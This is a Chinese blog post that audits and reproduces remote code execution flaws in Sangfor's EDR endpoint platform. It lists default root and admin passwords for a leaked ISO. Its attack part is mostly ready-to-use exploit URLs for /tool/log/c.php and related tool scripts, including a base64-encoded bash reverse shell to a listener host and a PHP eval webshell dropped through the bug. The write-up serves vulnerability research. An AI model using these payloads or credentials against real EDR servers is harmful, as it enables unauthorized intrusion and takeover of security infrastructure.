深信服终端检测响应平台 EDR 代码审计

今年 HW 深信服的 EDR 爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看。

基本配置信息

网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像,下面国光简单分享记录一下相关信息,然后面看到的朋友少走弯路。

首先 ISO 安装的话,不要使用快速安装,直接挂载即可,相关的账号密码为:

用户名 密码
root edr@sangfor

安装完成默认是静态 IP,得配置一下 DHCP IP 即可:

vim /etc/sysconfig/network-scripts/ifcfg-eth0

主要修改下面部分

BOOTPROTO=dhcp

然后删掉 IPADDR、GATEWAY 和 NETMASK 等静态 IP 相关的设置,重启一下网络服务即可:

service network restart

查看 IP 地址,浏览器直接访问即可访问到前端登录界面:

初始默认的用户名和密码都为:admin

搭建好之后 直接开始复习之前网上爆出来的漏洞信息吧

/tool/log/c.php

首先$show_form 接受用户输入请求:

跟进这个函数,发现是经典的extract变量覆盖 ,参数值完全可控……漏洞:

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id

这样执行命令不是很方便,可以选择 bash 反弹 shell 出来,或者直接上传一个 webshell,下面简单来尝试一下。

  • Bash 弹 Shell

首先本地开启 nc 监听端口:

➜  ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

然后准备一个反弹 shell 命令:

bash -i >& /dev/tcp/10.20.24.244/2333 0>&1

Base64 编码为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx

因为出现了+号,浏览器会进行 URL 解码,+会变成空格,所以我们得把 +首先进行 URL 编码一下,最后的 payload 就是如下格式:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx"|base64 -d|bash

最后执行完即可成功 nc 上线,然后就可以执行任意命令了:

  • 直接写入 Webshell
echo '<?php eval($_REQUEST[1]);?>' > shell.php

Base64 编码 & +编码:

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA==

最终 payload 如下:

https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA=="|base64 -d|bash

但是有毒的是,这个 webshell 执行起来并不是那么顺手,很多命令依然无法执行,而且 AntSword 也无法连接,哭了。

/tool/php_cli.php

这个文件的功能默认无法使用,因为一开始就会判断 enable_dc_tool文件是否存在,其中 ldb_ext_root()的路径位置为:

/ac/dc/ldb/

下面是详细的代码:

但是假设存在这个文件的时候,下面就会有一个类似于 /tool/log/c.php的中漏洞一样,也是存在代码执行的,不过比较鸡肋,没有利用价值:

执行效果如下:

所以最终可以构造如下 Payload:

https://xxx.xxx.xx.xx/tool/php_cli.php?code=system(id);
https://xxx.xxx.xx.xx/tool/php_cli.php?strip_slashes=system&code=id

/tool/ldb_cli.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

/tool/mdd_sql.php

这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:

参考链接


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
Xdebug+宝塔+PHPStudy+VScode PHP Xdebug+宝塔+PHPStudy+VScode PHP
上次写了篇 macOS 下优雅地配置 PHP 代码审计环境 里面主要讲解了使用 MAMP PRO 配合 PHPStorm 来进行代码审计,但是这个环境有点臃肿了,而且并不是很多人都用 macOS,所以本节主要介绍一下轻量级的代码审计环境的配
2020-09-07
下一篇 
XPS15 9550 黑苹果折腾记录 XPS15 9550 黑苹果折腾记录
XPS15 9550很久以前就被称为黑苹果神机了,2年前用的XPS13 9350 黑苹果体验也还不不错,不过后面买了 MBP 之后就把 XPS13 送给女朋友了,后面就没有再搞过黑苹果了。不过最近逛咸鱼发现曾经的Windows笔记本界的王者
2020-08-22
  目录